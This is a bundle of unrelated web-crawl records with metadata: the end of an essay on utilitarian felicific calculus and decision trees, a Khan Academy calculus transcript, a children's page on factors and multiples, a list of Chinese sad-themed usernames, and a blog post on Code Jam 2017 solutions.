scale, we can set it as we wish - to suit our particular problem - and it works fine so long as we use it consistently, just as we might use metres to measure the length of a person's stride and miles to measure the separation of two cities.\n\nFor example, if I have two chocolate bars, and I am considering the ethics of the situation, I might assign the value of the pleasure I get from eating a chocolate bar to the number \"1\". (This does not imply that \"2\" is the pleasure I get from eating both chocolate bars because, after the first, I've had my fill of chocolate for a while. [That is, the principle of Declining Marginal Utility applies.]) If we have an absolute and linear scale, \"0\" must be no pleasure at all, and \"2\" must be twice the pleasure I get from eating a chocolate bar, which is the same as the pleasure of two people each eating a chocolate bar, assuming that they like chocolate as much as me.\n\nIf we have a scale such that pleasures have a positive numerical value, then we can choose to represent pain and suffering on the same scale using negative numbers. For example, if I had a blister on my foot, I might think the pleasure from eating a chocolate bar isn't worth the suffering it would take to walk to the shop and buy one - in which case, I can say the value of the suffering caused by me walking on a blistered foot is less than (ie. more negative than) -1.\n\nFelicific Calculus\n\nOnce we have decided on the units (ie. the scale), we can attempt to think about the problem mathematically. The factors for us to consider when evaluating interests are:\n• intensity\n• duration\n• extent\n• certainty \n\nIntensity and duration\n\nThe value of an interest depends on the intensity of it, and the duration of it. For example, an intense pleasure is prima facie more valuable than a less intense one; and a pain of a given intensity is worse the longer it lasts. When choosing the scale for the value of interests, it makes sense for 0 to represent \"no interest\", positive numbers to represent positive interests (pleasures or avoided pains), and negative numbers to represent negative interests (pains or missed pleasures).\n\nOn some occasions, as I did above, we might immediately estimate the value of a certain interest - combining the intensity and duration factors automatically. At other times, we might consider them separately. For example, in the ongoing chocolate bar example, whether or not it is worth limping to the shops depends on how long it will take me to get there (ie. for how long I'll have to suffer to get the chocolate bar). We can model this mathematically using multiplication:\ntotal suffering = average suffering per unit time * amount of time.\nNotice by using the average suffering per unit time, I have not committed myself to the assumption that the suffering is constant - I may well find that suffering per unit time of walking on a blistered foot depends on how much walking I've already done on it. I can calculate the average amount of suffering per unit time over a given period of time using:\naverage suffering per unit time = (suffering per unit time at the beginning of the period + suffering per unit time at the end of the period) / 2\nas long as we assume a constant rate of change in the period.\nIf I know the amount by which the suffering will increase in each unit time, then:\nsuffering per unit time at the end of the period = suffering per unit time at the start of the period + (rate of change of suffering * the length of the period)\n\nExtent\n\nThe extent of the interest is the number of individuals to which the interest applies. Because we consider all equal interests equally (\"Each counts for one, and none for more than one\") this is also modelled using multiplication:\ntotal suffering = average suffering per individual * number of individuals.\nIf the interest is different for each person, we might prefer to think of this as\ntotal suffering = suffering of first individual + suffering of second individual + suffering of third individual etc etc, for all concerned.\n\nCertainty\n\nBecause we are often attempting to calculate the value of a given action before we have performed it, there is usually an element of uncertainty as to what the actual consequences will be. There is a standard mathematical technique for dealing with uncertainty and probability, and I will attempt an explanation here.\n\nWe usually consider that the actual outcome will be one of a possible set of (mutually exclusive) outcomes. If we represent the probability of the outcome occurring as a fraction (with 1 representing certainty and 0 representing impossibility, 0.5 representing a 50% ie. 1 in 2 chance etc) then the sum of the probabilities of the set must be 1 - if it was less than one, then either there is an alternative outcome we have not considered, or we have underestimated the probabilities of some of the outcomes - because we assume that one of the outcomes must actually occur (ie the probability of the result being one of the possible results is certainty, ie. 1). Notice that in this case the probability of A or B occurring is the probability of A occurring + the probability of B occurring.\n\nWhen we deal with more complicated situations, ie. when there are secondary outcomes which become more or less likely depending on the initial outcome, then it may be helpful to draw the possibilities as a tree, where each branch represents an outcome, and the hierarchy indicates which possible outcomes follow from previous outcomes.\n\nAn example\nI am considering committing an illegal act. I know that I can perform this act: the problem is how to handle the uncertainty as to whether I'll get caught by the police and punished. I consider that there are three possible outcomes (assuming that I decide to do this act).\n• Outcome 1: I perform the act and do not get caught by the police.\n• Outcome 2: I perform the act, get caught by the police, and get found guilty and punished by the courts.\n• Outcome 3: I perform the act, get caught by the police, but get found \"not guilty\" by the courts.\nThe other alternative is that I choose inaction (outcome \"0\"). The situation is modelled by this tree:",
null,
"The tree consists of nodes and links. A node represents a situation, and a link indicates which situations can follow from which previous situations. The triangular nodes (called \"payoff nodes\") represent outcomes, and are numbered as above. The square node at the top (the root node \"r\") represents my position. It is square because it represents a choice I can make (it is a \"decision node\"): I can choose to do the act and go down the path to \"a\", or I can choose inaction and go down the other. The circular nodes represent situations which are resolved by chance, and are called \"chance nodes\". Chance node \"a\" represents the situation in which I choose to do the action; it leads to node \"1\" where I get away with it, and to node \"c\" where I get caught. The number by a link from a chance node indicates the (estimated) probability of that link being followed, given that we are already in the position above. (For example, it only makes sense to talk about the probability that I get caught in the case where I do choose to do the action - I don't get to position \"a\" until I've decided to act; and nodes \"2\" and \"3\" can only be reached from \"c\" - they can't try me if they don't catch me.)\n\nThe next step is to estimate the value for each situation represented by a payoff node. When estimating, we must consider intensity, duration, and extent of the interests involved (as compared to a baseline: usually inaction) - basically everything except certainty. I consider that, if I choose not to do the act, then everything continues as before: inaction has the value 0. I consider the value of my action (ignoring any cost to me) to be 1 , the value of being tried as -0.2 (due to the inconvenience etc), and the value of being tried, found guilty and punished as -2. This gives the payoff values\n\n• Node \"0\": 0\n• Node \"1\": 1\n• Node \"2\": 1 + (-2) = -1\n• Node \"3\": 1 + (-0.2) = 0.8\nWe can now calculate the tree value, and from this learn which \"branch\" I should pick: I could, in a larger analysis, have many other branches (links) from the root node, indicating things I could choose to do instead of the particular act that I'm thinking of. I would then choose the node with the highest value.\n\nThe values are calculated from the bottom up. A decision node has the largest of the values of the nodes that follow from it - it is assumed we always choose to do what we think is most valuable. A chance node has an \"expected\" value which is sum of the values of its sub-nodes, multiplied by their respective probabilities.\n\nIn this example, the expected value of \"c\" is:\n(the probability of reaching node \"2\" * the value of node \"2\") + (the probability of reaching node \"3\" * the value of node \"3\")\n= (0.75 * -1) + (0.25 * 0.8)\n= -0.75 + 0.2\n= -0.55\n\nThe expected value of \"a\" can now be calculated as:\n(the probability of reaching node \"1\" * the value of node \"1\") + (the probability of reaching node \"c\" * the value of node \"c\")\n= (0.8 * 1) + (0.2 * -0.55)\n= 0.8 + (-0.11)\n= 0.69\n\nThe next node up being a decision node, its value is simply the largest of node \"a\" and node \"0\":\nmax(0.69, 0) = 0.69.\n\nSince the expected value for node \"a\" is higher than that for node \"0\", and \"a\" represents what happens when I do this action, the tree therefore indicates that I should do the action (in preference to not doing it). If I could create a tree for a different course of action which (when using the same scale) returns a value greater than 0.69, then obviously I ought do that instead .\n\nThe procedure which has been described here, followed carefully, should avoid a number of the most common mistakes in moral mathematics.\n\nNotes\n\n1. I describe fewer factors than did Bentham. \"Propinquity\" appears to be a factor used to model the way an interest appears more or less valuable, depending on how far away it is in space or time (see Chapter XIV rule XVI), and since were are here concerned with actual rather than apparent value, I ignore it. The remaining factors (\"fecundity\", and \"purity\") can, I believe, be properly accounted for using the existing factors, providing we take care to allow for all effects, including \"side effects\", \"indirect effects\" etc.\n\nI make no account of Mill's contribution: \"quality\". To the extent that the concept is intelligible, which isn't much, it seems entirely accountable with \"intensity\" and \"fecundity\". (I assume that there is a consensus on this - otherwise, we would hear people say such things as \"I suffered a great deal, but it was only low quality suffering so it wasn't too bad\" or \"I had a lot of fun, but it gave only low quality happiness so it wasn't very good\".) As an analogy to what I think Mill meant: we might assume that some pleasures were more valuable than others, in the same way that a given mass of gold might be more valuable than another given mass of gold of a different \"quality\" - perhaps the second mass is 9 carat, and the first is 18 or 24 carat. However, this doesn't really work because 1 unit of 9 carat gold isn't really 1 unit of gold - it is a nine \"twenty-fourths\" of a unit of gold, the rest of the mass being other metals. So under this interpretation quality and quantity (e.g. of real gold) cannot be distinguished in this way, which is why quality of pleasures can be accounted for by intensity.\n\nAnother possible interpretation comes from Mill's explanation of a higher quality pleasure being chosen in preference to a lower quality pleasure. This may mean simply that we like the idea of a certain means to happiness, more than we like the idea of some other means to happiness - we may like to think ourselves as someone who does the former but not the latter activity. But again on this interpretation Mill fails, since we are not here evaluating how much we like the idea of the experience of happiness gained in this way, but how much we like the experience of happiness itself. Any positive feelings associated with the idea of the thing are valuable (and evaluable) quite separately from the value of the thing itself.\n\n2. ie. I'm setting the (arbitrary) units of the scale to be the same as the benefit of my action - all other values will be measured in comparison to this benefit.\n\n3. Notice that the punishment is of uncertain type, duration etc, and thus disvalue, but that I have given it a definite value anyway: we can often continue analysing probabilities indefinitely, so at some point we simply estimate the value at a given level. If deeper analysis is required, this node should become a chance node with links to several other nodes, each representing different punishments.\n\n4. The name \"expected value\" might be considered to be a mis-nomer: we do not actually expect this value to emerge - in fact is it generally impossible for it to do so (only the values of the payoff nodes can actually be achieved) - but the expected value is a kind of average of the possible values after taking into consideration their likelihood.\n\n5. This is does not contradict the principle of utility, as Derek Parfit explains in his thoroughly recommended book \"Reasons and Persons\": consequentialists generally use and distinguish two different meanings of right and wrong, and ought and ought not. There is the sense, as in the principle of utility, that what we ought do (what it is right to do) is to maximize utility. However, we generally do not know what the consequences of our actions will be, so what we aim to do is act in such a way as to maximize expected utility. (As explained in the previous note, the expected value of an act rarely emerges - only the values of the payoff nodes can do so, assuming that the model is accurate). So there are two different questions here: 1. what is the best thing to do? 2. what seems to be, or is likely to be, the best thing to do? Unfortunately, we often cannot find the answer to the first question, which is why the second question needs answering.\n\nThe name given to these two senses - of something being really right, and of something being probably or seemingly right (i.e. what we have most reason to believe will be right) - is \"objective\" and \"subjective\" respectively; though this is perhaps unfortunate in that it suggests a relation to the question of whether ethics are objectively or only subjectively valid, and this is a separate issue entirely. Often, we hope, what is subjectively right is also objectively right - the two coincide. However it is obvious that this is not always the case: we can sometimes do the (objectively) wrong thing (i.e. most harmful) even though we had tried to do the right thing (we had weighed up the consequences, applying equal consideration etc). And vice-versa: someone might do something that appears to everyone (himself included) to be wrong (i.e. it is subjectively wrong), but actually has the best consequences.\n\nExamples displaying the difference between the objective and subjective meanings include these:\n\n1. A man finds some children who have come into difficulty whilst swimming in a lake. He jumps in to try to save them, but gets into difficulty himself and they all drown. Clearly the man has acted heroically in risking his life for others - it was subjectively the right thing to do - even though, as it happened, it might have been better if he had done something else (it might be objectively wrong).\n2. A man acting out of malice and perversion decides kills a child: clearly subjectively wrong. However, the person who the child would've grown into was a mass-murderer, or a second Hitler say, and in killing him the psychopath has actually saved many lives and relatives from the loss of their loved ones. So his act is, quite accidently, objectively right.\nClearly, if there is any use in it at all, it is generally subjectively wrong acts which are blameworthy and should be punished, and subjectively right acts which should be rewarded. One who takes needless risks with the wellbeing of another might well require punishment even if, in the event, the other is unharmed.\n1998, 1999, 2000",
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https://www.khanacademy.org/math/ap-calculus-ab/ab-applications-of-integration-new/ab-8-2/v/antiderivative-acceleration | [
"If you're seeing this message, it means we're having trouble loading external resources on our website.\n\nIf you're behind a web filter, please make sure that the domains *.kastatic.org and *.kasandbox.org are unblocked.\n\n# Worked example: motion problems (with definite integrals)\n\nAP.CALC:\nCHA‑4 (EU)\n,\nCHA‑4.C (LO)\n,\nCHA‑4.C.1 (EK)\n\n## Video transcript\n\nlet's review a little bit of what we learned in differential calculus let's say we have some function s that it gives us as a function of time the position of a particle in one dimension if we were to take the derivative with respect to time so if we were to take the derivative with respect to time of this function s what are we going to get well we're going to get DS DT or the rate at which position changes with respect to time and what's another word for that the rate at which position changes with respect to time well that's just velocity so that we could write it as velocity as a function of time now what if we were to take the derivative of that with respect to time so we could either view this as the second derivative we're taking the derivative not once but twice of our position function or you could say that we're taking the derivative with respect to time with our velocity function well this is going to be we can write this as we can write this as D V DT the rate at which velocity is changing with respect to time and what's another word for that well that's also called acceleration this is going to be our acceleration as a function of time so you start with the position function take its of the position as a function of time take its derivative with respect to time you get velocity take that derivative with respect to time you get acceleration well you could go the other way around if you started with acceleration if you started with acceleration and you were to take the antiderivative if you were to take the antiderivative of it the aunt D an antiderivative of it is going to be actually let me just write it this way so an antiderivative I'll just use the integral symbol to show that I'm taking the antiderivative is going to be the integral of the antiderivative of a of T and this is going to give you some expression with a plus C and we could say well that's a general form of our velocity function this is going to be equal to our velocity function and to find the particular velocity function we would have to know what the velocity is at a particular time then we could solve for our C but then if we're able to do that and we were to take the antiderivative again then now we're taking the antiderivative of our velocity function which would give us some expression as a function of T and then some other constant and if we could solve for that constant then we know then we know what the position is going to be the position is a function of time just like this we would have some plus C here but if we know our position at a given time we could solve for that C so now that we've reviewed it a little bit but we've rewritten it in I guess you could say thinking of it right not just from the differential point of view for the derivative point of view but thinking of it from the antiderivative point of view let's see if we can solve an interesting problem let's say that we know that the acceleration of a particle is a function of time is equal to 1 so it's always accelerating at one unit per and you know I'm not giving you time let's let's just say that we're thinking in terms of meters and seconds so this is one meter per second one meter per second squared right over here that's our acceleration as a function of time and let's say we don't know the velocity expressions but we know the velocity to a particular time and we don't know the position expressions but we know the position at a particular time so let's say we know that the velocity at time three let's say three seconds is negative three meters per second and actually want to write the unit's here just to make it a little bit a little bit so this is meters per second squared that's going to be a unit for acceleration this is our unit for velocity and let's say that we know let let's say that we know that the position at time two at two seconds is equal to negative 10 meters so if we're thinking in one dimension of which is moving along the number line it's ten to the left of the origin so given this information right over here and everything that I wrote up here can we figure out the actual expressions for velocity as a function of time so not just velocity at time three but velocity generally as a function of time and position as a function of time and I encourage you to pause this video right now and try to figure it out on your so let's just work through this what is we know that velocity as a function of time is going to be the anti derivative the anti derivative of our acceleration is a function of time our acceleration is just one so this is going to be the antiderivative of this right over here is going to be T and then we can't forget our constant plus C and now we can solve for C because we know V of three is negative three so let's just write that down so V of three is going to be equal to three three plus C I just so every place where I saw the the T or ever place where I have the T I replace it with this three right over here actually let me make it a little bit clearer so V of three V of 3 is equal to three plus C and they tell us that that's equal to negative three so that is equal to that is equal to negative three so what's C going to be so if we just look at this part of the equation or just this equation right over here if you subtract 3 from both sides you get you get C is equal to negative 6 and so now we know the exact we know the exact expression that defines velocity as a function of time V of T V of T is equal to T T plus negative 6 or t minus 6 and we can verify that the derivative of this with respect to time is just 1 and when time is equal to 3 3 minus 6 is indeed negative 3 so we've been able to figure out velocity as a function of time so now let's do a similar thing to figure out position as a function of time we know that position is going to be an antiderivative of the velocity function so let's write that down so position as a function of time is going to be equal to the antiderivative of V of T DT which is equal to the antiderivative of t minus 6 DT which is equal to well the antiderivative of T is T squared over 2 so T squared over 2 we've seen that before the antiderivative of negative 6 is negative 6t and of course we can't forget our constant so plus plus C so this is what s of T is equal to s of T is equal to all of this business right over here and now we can try to solve for our constant and we do that using this information right over here at at 2 seconds where our position is negative 10 meters so s of 2 or I could just write it this way let me write it this way s of 2 at 2 seconds is going to be equal to 2 squared over 2 that is let's see that's 4 over 2 that's going to be 2 minus 6 times 2 so minus 12 plus C is equal to negative 10 is equal to negative 10 so let's see we get 2 minus 12 is negative is negative 10 plus C is equal to negative 10 so you add 10 to both sides you get C in this case is equal to 0 so we figured out what our position function is as well the C right over here is just going to be 0 so our position as a function of time is equal to T squared over 2 minus 6t and you can verify when T is equal to 2 2 squared over 2 is 2 minus 12 is negative 10 you take the derivative here you get T minus 6 and you can see and we already verify that V of 3 is negative 3 and you take the derivative here you get a of T just like that anyway hopefully you found this enjoyable\nAP® is a registered trademark of the College Board, which has not reviewed this resource."
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https://ccssmathanswers.com/factors-and-multiples-by-using-division-facts/ | [
"",
null,
"Factors and Multiples by using Division Facts – Definition, Examples | How to Get Factors, Multiples using Division Facts?\n\nWhen a dividend divides the divisor completely, the quotient and divisor are called the factors of the dividend and the dividend called the multiple. We can also compute the factors of the multiple by using the division facts. Get the simple steps to get the multiples and factors by using the division fact along with the solved examples in the below sections.\n\nFactors and Multiples by using Division Facts\n\nIn maths, a factor is a number that is an exact divisor with no remainder. Multiple is nothing but a number obtained when multiplied by other numbers. We use multiplication to find the multiples. Multiplication is the inverse operation of division. When a dividend is divided by a divisor, we get a quotient and the dividend is again divided by the quotient that gives the divisor.\n\nWe can use division facts to get the factor and multiples of the expression. The division fact formula is the dividend ÷ divisor = quotient. Here, quotient and divisor are the factors of the multiple dividend.\n\nExamples:\nDivide 64 by 4\n64 ÷ 4 = 16\nHere, 4 and 16 are factors of 64.\nDivide 18 by 9\n18 ÷ 9 = 2\nHere, 9 and 2 are factors of 18.\n\nAlso, Check:\n\nHow to Find Multiples, Factors Using Division Facts?\n\nGet a detailed explanation on how to find the factors of multiple using the division facts in the below sections.\n\n• Get the multiple by observing the division fact.\n• At, first divide the multiple by 1 and get the result.\n• Divide the multiple by another number which leaves the remainder zero.\n• Continue the process, till you get all the factors.\n\nExamples on Finding Multiples and Factors Using Division Facts\n\nExample 1:\nFind the factors of the division fact 180 ÷ 6 = 30.\nSolution:\nGiven division fact is 180 ÷ 6 = 30.\nMultiple is 180\nFind the factors of 180\n180 ÷ 1 = 180\n180 ÷ 2 = (18 ÷ 2) x 10 = 9 x 10 = 90\n180 ÷ 3 = (18 ÷ 3) x 10 = 6 x 10 = 60\n180 ÷ 4 = 45\n180 ÷ 5 = 36\n180 ÷ 6 = 30\n180 ÷ 9 = 20\n180 ÷ 10 = 18\n180 ÷ 12 = 15\n180 ÷ 15 = 12\n180 ÷ 18 = 10\n180 ÷ 20 = 9\n180 ÷ 30 = 6\n180 ÷ 36 = 5\n180 ÷ 45 = 4\n180 ÷ 60 = 3\n180 ÷ 90 = 2\n180 ÷ 180 = 1\nThe factors f 180 are 1, 2, 3, 4, 5, 6, 9, 10, 12, 15, 18, 20, 30, 36, 45, 60, 90, 180\n\nExample 2:\nFind the factors of 42.\nSolution:\nGiven multiple is 42\nWrite the factors of 42 using the division fact.\n42 ÷ 1 = 42\n42 ÷ 2 = 21\n42 ÷ 3 = 14\n42 ÷ 6 = 7\n42 ÷ 7 = 6\n42 ÷ 14 = 3\n42 ÷ 21 = 2\n42 ÷ 42 = 1\nSo, the factors of multiple 42 are 1, 2, 3, 6, 7, 14, 21, and 42.\n\nExample 3:\nIs 500 is a multiple of 11? Use division.\nSolution:\nGiven that,\nDividend = 500\nDivisor = 11\nDivide 500 by 11",
null,
"500 ÷ 11 = 45 with a remainder of 5\nIt leaves a remainder, so 500 is not a multiple of 11.\n\nExample 4:\nIs 7 a factor of 21?\nSolution:\nGiven that,\nDividend = 21\ndivisor = 7\ndivide 21 by 7",
null,
"21 divided by 7 doesn’t leave a remainder.\nSo, 7 is a factor of 21.\n\nFAQs’s on Factors and Multiples by using Division Facts\n\n1. What is the division method?\nThe division is one of the basic arithmetic operations, which means repeated subtraction. The division method is used to split a group into a number of equal parts. The parts of division are dividend, divisor, remainder and quotient.\n\n2. What is a basic division fact?\nDivision fact is nothing but a number that should be completely divisible by dividend to get the quotient. In division fact, the remainder is always zero. For any three numbers, it is possible to write exactly two division facts.\n\n3. How do you factor a number by a division method?\nDivide the multiple by the smallest possible number that divides the number exactly and repeat the process. The numbers that divide the multiple are called the factors.\n\nScroll to Top"
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https://www.yimanwu.com/nansheng/5156.html | [
"# 最火最扎心伤感男生网名 心酸又伤感的男生网名\n\n• 陌生的熟悉\n\n• 守不住的空城\n\n• 闭眼看生活\n\n• 尘封已久心伤\n\n• 离心离情\n\n• 后会无期\n\n• 突然好想你\n\n• 旧巷失心\n\n• 不再见的情人\n\n• 请别靠近我\n\n• 甘心入戏\n\n• 孤屿囚心\n\n• 终不悔\n\n• 流泪de天使\n\n• 回不去的时光\n\n• 心痛，不语\n\n• 不想翻身的咸鱼\n\n• 像个废品\n\n• 眼淚磨成細沙\n\n• 敷衍怎么演\n\n• 余生独自流浪\n\n• 痛彻心扉\n\n• 在回忆里流浪\n\n• 不想解释太多\n\n• 莫笑少年梦\n\n• 离心率\n\n• 一路伴随我的你\n\n• 旧人不覆\n\n• 随你伤，我没心。\n\n• 超人不流眼淚\n\n• 原来承诺会过期\n\n• 眼泪不为伱留\n\n• 忘记你需要多久\n\n• 听心痛的声音\n\n• 你若离去我便死去\n\n• 卑恭的讨好\n\n• 被疼爱是种运气\n\n• 改变不了的结局\n\n• 握不住的他、放手也罢。\n\n• 想要我低头、那你跪下吧\n\n• 爱只是擦肩而过\n\n• 幼稚、诠释了我们的青春\n\n• 迷失了自我\n\n• 失望让我堕落\n\n• 青春如此浪荡\n\n• 伪装的坚强i\n\n• 难以启齿的痛\n\n• 心痛像条线\n\n• 巴黎彼岸°破碎\n\n• 一刹那的疼痛\n\n• 错乱的人生\n\n• 情深不及久伴i.\n\n• 谈爱不谈情。\n\n• 发了疯的思念\n\n• 当恨能成忧\n\n• 不曾记得你的好。\n\n• 那么多的悲伤\n\n• 安静的、角落\n\n• 终有弱水替沧海\n\n• 梦毁千百次\n\n• 怎如初\n\n• 苦笑流年记忆\n\n• 渐行渐远渐陌生\n\n• 无人暖\n\n• 你与时光皆薄情\n\n• 笑拥冷风\n\n• 命里无她我怪谁i.\n\n• 谁跌撞了年少\n\n• 枯心易凉\n\n• 忘不掉的孤独\n\n• 情起缘落\n\n• 多余似我\n\n• 沉寂于曾经\n\n• 被放弃的我@\n\n• 游走的灵魂\n\n• 香烟如寂寞\n\n• 多情多悲戚\n\n• 怀念或痛\n\n• 回忆总是陌路\n\n• 爱一个人有多难\n\n• 何时、把酒欢\n\n• 旧城的旧伤\n\n• 泪落在梦中\n\n• 深拥情话梦一场\n\n• 情深已故\n\n• ℡ _死在回忆里\n\n• 现实旳沧桑\n\n• 凉透心怎能重来\n\n• 梦醒来那些伤\n\n• 未燃尽的、烟\n\n• 心痛谁能懂\n\n• 吾与谁归\n\n• 荒凉一梦\n\n• 囚禁自己\n\n• 曾经已是曾经\n\n• 只剩一颗糜烂的心\n\n• 入骨的麻木\n\n• 疲惫无力的心\n\n• 世俗抹杀我\n\n• 后来烂人醉\n\n• 死亡与爱\n\n• 謊言負心人",
null,
"男生网名大全"
] | [
null,
"https://www.yimanwu.com/uploads/allimg/150311/1-150311115441U1.jpg",
null
] | {"ft_lang_label":"__label__zh","ft_lang_prob":0.58427,"math_prob":0.5009743,"size":684,"snap":"2020-24-2020-29","text_gpt3_token_len":981,"char_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_character_ratio":0.18274854,"punctuation_ratio":0.017699115,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.97887194,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-05-25T22:11:43Z\",\"WARC-Record-ID\":\"<urn:uuid:3d3ebbcd-b7b6-4aa7-809c-2dd3e86a0def>\",\"Content-Length\":\"10142\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4b824593-434c-4cf6-bc7c-32810a585557>\",\"WARC-Concurrent-To\":\"<urn:uuid:de9fb46a-6edf-4978-94c2-c2c778ce6c73>\",\"WARC-IP-Address\":\"47.56.124.4\",\"WARC-Target-URI\":\"https://www.yimanwu.com/nansheng/5156.html\",\"WARC-Payload-Digest\":\"sha1:DVGNU7SKM4ODT5OZRVUX5DSHKWHRWMY3\",\"WARC-Block-Digest\":\"sha1:IJO4QGHYIAGW2SEVMUYPNFUCDZVKURYR\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347389355.2_warc_CC-MAIN-20200525192537-20200525222537-00334.warc.gz\"}"} |
http://blog.brucemerry.org.za/2017/06/ | [
"Monday, June 12, 2017\n\nFlagpoles\n\nMy solution during the contest was essentially the same as the official analysis. Afterwards I realised a potential slight simplification: if one starts by computing the second-order differences (i.e., the differences of the differences), then one is looking for the longest run of zeros, rather than the longest run of the same value. That removes the need to communicate the value used in the runs at the start and end of each section.\n\nNumber Bases\n\nI missed the trick of being able to uniquely determine the base from the first point at which X[i] + Y[i] ≠ Z[i]. Instead, at every point where X[i] + Y[i] ≠ Z[i], I determine two candidate bases (depending on whether there is a carry of not). Then I collect the candidates and test each of them. If more than three candidates are found, then the test case is impossible, since there must be two disjoint candidate pairs.\n\nBroken Memory\n\nMy approach was slightly different. Each node binary searches for its broken value, using two other nodes to help (and simultaneously helping two other nodes). Let's say we know the broken value is in a particular interval. Split that interval in half, and compute hashes for each half on the node (h1 and h2) and on two other nodes (p1 and p2, q1 and q2). If h1 equals p1 or q1, then the broken value must be in interval 2, or vice versa. If neither applies, then nodes p and q both have broken values, in the opposite interval to that of the current node. We can tell which by checking whether p1 = q1 or p2 = q2.\n\nThis does rely on not having collisions in the hash function. In the contest I relied on the contest organisers not breaking my exact choice of hash function, but it is actually possible to write a solution that works on all test data. Let P be a prime greater than $$10^{18}$$. To hash an interval, compute the sums $$\\sum m_i$$ and $$\\sum i m_i$$, both mod P, giving a 128-bit hash. Suppose two sequences p and q collide, but differ in at most two positions. The sums are the same, so they must differ in exactly two positions j and k, with $$p_j - q_j = q_k - p_k$$ (all mod P). But then the second sums will differ by\n$$jp_j + kp_k - jq_j - kq_k = (j - k)(p_j - q_j)$$, and since P is prime and each factor is less than P, this will be non-zero.\n\nAlternative Code Jam 2017 R3 solution\n\nThis last weekend was round 3 of Code Jam 2017 and round 2 of Distributed Code Jam 2017. I'm not going to describe how to solve all the problems since there are official analyses (here and here), but just mention some alternatives. For this post I'll just talk about one problem from Code Jam; some commentary on DCJ will follow later.\n\nSlate Modern (Code Jam)\n\nThe idea I had for this seems simpler (in my opinion, without having tried implementing both) than the official solution, but unfortunately I had a bug that I couldn't find until about 10 minutes after the contest finished.\n\nAs noted in the official analysis, one can first check whether a solution is possible by comparing each pair of fixed cells: if the difference is value is greater than D times the Manhattan distance, then it is impossible; if no such pair exists, it is possible. The best solution is then found by setting each cell to the smallest lower bound imposed by any of the fixed cells.\n\nLet's try to reduce the complexity by a factor of C, by computing the sum of a single row quickly. If we look at the upper bound imposed by one fixed cell, it has the shape $$b + |x - c| D$$, where $$x$$ is the column and b, c are constants. When combining the upper bounds, we take the lowest of them. Each function will be the smallest for some contiguous (possibly empty) interval. By sweeping through the fixed cells in order of c, we can identify those that contribute, similar to finding a Pareto front. Then, by comparing adjacent functions one can find the range in which each function is smallest, and a bit of algebra gives the sum over that range.\n\nThis reduces the complexity to O(RN + N²) (the N² is to check whether a solution is possible, but also hides an O(N log N) to sort the fixed cells). That's obviously still too slow. The next insight is that most of the time, moving from one row to the next changes very little: each of the functions increases or decreases by one (depending on whether the corresponding fixed cell is above or below the row), and the range in which each function is smallest grows or shrinks slightly. It thus seems highly likely that the row sum will be a low-degree polynomial in the row number. From experimentation with the small dataset, I found that it is actually a quadratic (conceptually it shouldn't be too hard to prove, but I didn't want to get bogged down in the details).\n\nNote that I said \"most of the time\". This will only be true piecewise, and we need to find the \"interesting\" rows where the coefficients change. It is fairly obvious that rows containing fixed cells will be interesting. Additionally, when the range in which a function is smallest disappears or appears will be interesting. Consider just two fixed cells, and colour the whole grid according to which of the two fixed cells gives the lower upper bound. The boundary between the two colours can have diagonal, horizontal and vertical portions, and it is these horizontal portions that are (potentially) interesting. I took the conservative approach of adding all O(N²) such rows as interesting.\n\nNow that we have partitioned the rows into homogeneous intervals, we need to compute the sum over each interval efficiently. Rather than determine the quadratic coefficients analytically, I just interfered them by taking the row sums of three consecutive rows (if there are fewer than three rows in the interval, just add up their row sums directly). A bit more algebra to find the sum of a quadratic series, and we're done! There are O(N²) intervals to sum and it requires O(N) to evaluate each of the row sums needed, giving a running time of O(N³). I suspect that this could probably be reduced to O(N² log N) by being smarter about how interesting rows are picked, but it is not necessary given the constraints on N."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91546273,"math_prob":0.96217304,"size":2262,"snap":"2019-26-2019-30","text_gpt3_token_len":544,"char_repetition_ratio":0.1085031,"word_repetition_ratio":0.0,"special_character_ratio":0.25331566,"punctuation_ratio":0.10042735,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9973256,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-20T07:34:55Z\",\"WARC-Record-ID\":\"<urn:uuid:603f7eed-ee9c-405b-a582-1fa20e7d1cb1>\",\"Content-Length\":\"61481\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:264f5b6b-e978-46b1-a205-3650bb28379b>\",\"WARC-Concurrent-To\":\"<urn:uuid:9c674a58-d4ff-42ec-ba43-2901612b5601>\",\"WARC-IP-Address\":\"172.217.7.147\",\"WARC-Target-URI\":\"http://blog.brucemerry.org.za/2017/06/\",\"WARC-Payload-Digest\":\"sha1:S3UCS5Q4IYVLNKLQ7K7ESJC7M5ZKEN5L\",\"WARC-Block-Digest\":\"sha1:6VWSTAZRSSVMMRVTU25OHS3WYOIQVDDN\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560627999163.73_warc_CC-MAIN-20190620065141-20190620091141-00467.warc.gz\"}"} |
https://www.esaral.com/q/using-properties-of-determinants-prove-that-67777 | [
